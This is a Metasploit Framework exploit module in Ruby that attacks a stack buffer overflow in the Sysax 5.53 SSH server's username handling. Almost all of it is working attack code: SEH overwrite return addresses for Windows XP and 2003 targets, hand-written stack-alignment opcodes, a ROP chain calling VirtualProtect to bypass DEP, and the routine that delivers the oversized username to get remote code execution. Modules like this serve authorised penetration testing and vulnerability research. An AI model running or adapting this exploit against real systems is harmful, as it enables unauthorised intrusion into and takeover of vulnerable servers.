##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Sysax 5.53 SSH Username Buffer Overflow",
			'Description'    => %q{
					This module exploits a vulnerability found in Sysax's SSH service.  By
				supplying a long username, the SSH server will copy that data on the stack
				without any proper bounds checking, therefore allowing remote code execution
				under the context of the user.  Please note that previous versions
				(before 5.53) are also affected by this bug.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Craig Freyman',  #Initial discovery, PoC
					'sinn3r'          #Metasploit
				],
			'References'     =>
				[
					['OSVDB', '79689'],
					['URL', 'http://www.pwnag3.com/2012/02/sysax-multi-server-ssh-username-exploit.html'],
					['URL', 'http://www.exploit-db.com/exploits/18535/']
				],
			'Payload'        =>
				{
					'Space'           => 1024,
					'BadChars'        => "\x00\x3a",
					'StackAdjustment' => -3500
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "seh"
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[
						'Sysax 5.53 on Win XP SP3 / Win2k3 SP0',
						{
							'Rop' => false,
							'Ret' => 0x00402669  # POP/POP/RET - sysaxservd.exe
						}
					],
					[
						'Sysax 5.53 on Win2K3 SP1/SP2',
						{
							'Rop' => true,
							'Ret' => 0x0046d23c  # ADD ESP, 0F8C # RETN
						}
					]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Feb 27 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptInt.new('RPORT', [false, 'The target port', 22])
			], self.class)
	end

	def load_netssh
		begin
			require 'net/ssh'
			return true
		rescue LoadError
			return false
		end
	end

	def get_regular_exploit
		#
		# Align the stack to the beginning of the fixed size payload
		#
		align  = "\x54"              #PUSH ESP
		align << "\x58"              #POP EAX
		align << "\x04\x08"          #ADD AL,0x08
		align << "\x8b\x18"          #MOV EBX, [EAX]
		align << "\x93"              #XCHG EAX,EBX
		align << "\x66\x2d\x10\x04"  #SUB AX,0x361
		align << "\x50"              #PUSH EAX
		align << "\xc3"              #RET

		#
		# Our payload limited to 1024+4 bytes
		#
		p = make_nops(4)
		p << payload.encoded

		#
		# Craft the buffer like this:
		# [392 bytes][20 bytes][< 9404 bytes][payload][alignment][nseh][seh]
		# * The 20-byte region is where our source IP is written. 20 bytes gives it enough room
		#   for the IP length, so the next 9404-byte space will begin at a consistent place.
		# * After SEH, we have ~1860 bytes, but we don't need that because we're doing a
		#   partial-overwrite to allow a null byte in SEH.
		#
		buf  = ''
		buf << rand_text(392, payload_badchars)
		buf << rand_text(20, payload_badchars)
		buf << rand_text(9204-buf.length-align.length-p.length, payload_badchars) #8796+392+20
		buf << p
		buf << align
		buf << "\xeb" + [0-align.length-2].pack('c') + make_nops(2) #Short jmp back
		buf << [target.ret].pack('V*')

		return buf
	end

	def get_rop_exploit

		junk = rand_text(4).unpack("L")[0].to_i
		nop  = make_nops(4).unpack("L")[0].to_i

		# !mona rop -m msvcrt
		p =
			[
				0x77bb2563, # POP EAX # RETN
				0x77ba1114, # <- *&VirtualProtect()
				0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
				junk,
				0x77bb0c86, # XCHG EAX,ESI # RETN
				0x77bc9801, # POP EBP # RETN
				0x77be2265, # ptr to 'push esp #  ret'
				0x77bb2563, # POP EAX # RETN
				0x03C0990F,
				0x77bdd441, # SUB EAX, 03c0940f
				0x77bb48d3, # POP EBX, RET
				0x77bf21e0, # .data
				0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
				0x77bbfc02, # POP ECX # RETN
				0x77bef001, # W pointer (lpOldProtect) (-> ecx)
				0x77bd8c04, # POP EDI # RETN
				0x77bd8c05, # ROP NOP (-> edi)
				0x77bb2563, # POP EAX # RETN
				0x03c0984f,
				0x77bdd441, # SUB EAX, 03c0940f
				0x77bb8285, # XCHG EAX,EDX # RETN
				0x77bb2563, # POP EAX # RETN
				nop,
				0x77be6591, # PUSHAD # ADD AL,0EF # RETN
			].pack("V*")

		p << payload.encoded

		#
		# Similar buffer structure to get_regular_exploit
		#
		buf  = ''
		buf << rand_text(392, payload_badchars)
		buf << rand_text(20, payload_badchars)
		buf << rand_text(1012, payload_badchars)
		buf << p
		buf << rand_text(9204-buf.length)
		buf << rand_text(4, payload_badchars)
		buf << [target.ret].pack('V*')

		return buf
	end

	def exploit
		#
		# Load net/ssh so we can talk the SSH protocol
		#
		has_netssh = load_netssh
		if not has_netssh
			print_error("You don't have net/ssh installed.  Please run gem install net-ssh")
			return
		end

		#
		# Create buffer based on target (DEP or no DEP)
		# If possible, we still prefer to use the regular version because it's more stable
		#
		if target['Rop']
			buf = get_rop_exploit
		else
			buf = get_regular_exploit
		end

		#
		# Send the malicious buffer
		#
		pass = rand_text_alpha(8)
		begin
			print_status("Sending malicious request to #{rhost}:#{rport}...")
			ssh = Net::SSH.start(
				datastore['RHOST'],
				buf,
				{
					:password  => pass,
					:port      => datastore['RPORT'],
					:timeout   => 1
				})

			::Timeout.timeout(1) {ssh.close} rescue nil

		rescue Errno::ECONNREFUSED
			print_error("Cannot establish a connection on #{rhost}:#{rport}")
			return
		rescue ::Exception => e
			if e.message =~ /fingerprint [0-9a-z\:]+ does not match/
				print_error("Please remove #{rhost}:#{rport} from your known_hosts list")
				return
			end
		end

		handler(ssh)
	end
end

=begin
Todo: We seriously need a MSF SSH mixin to handle the SSH protocol ourselves, not
relying on net/ssh.
=end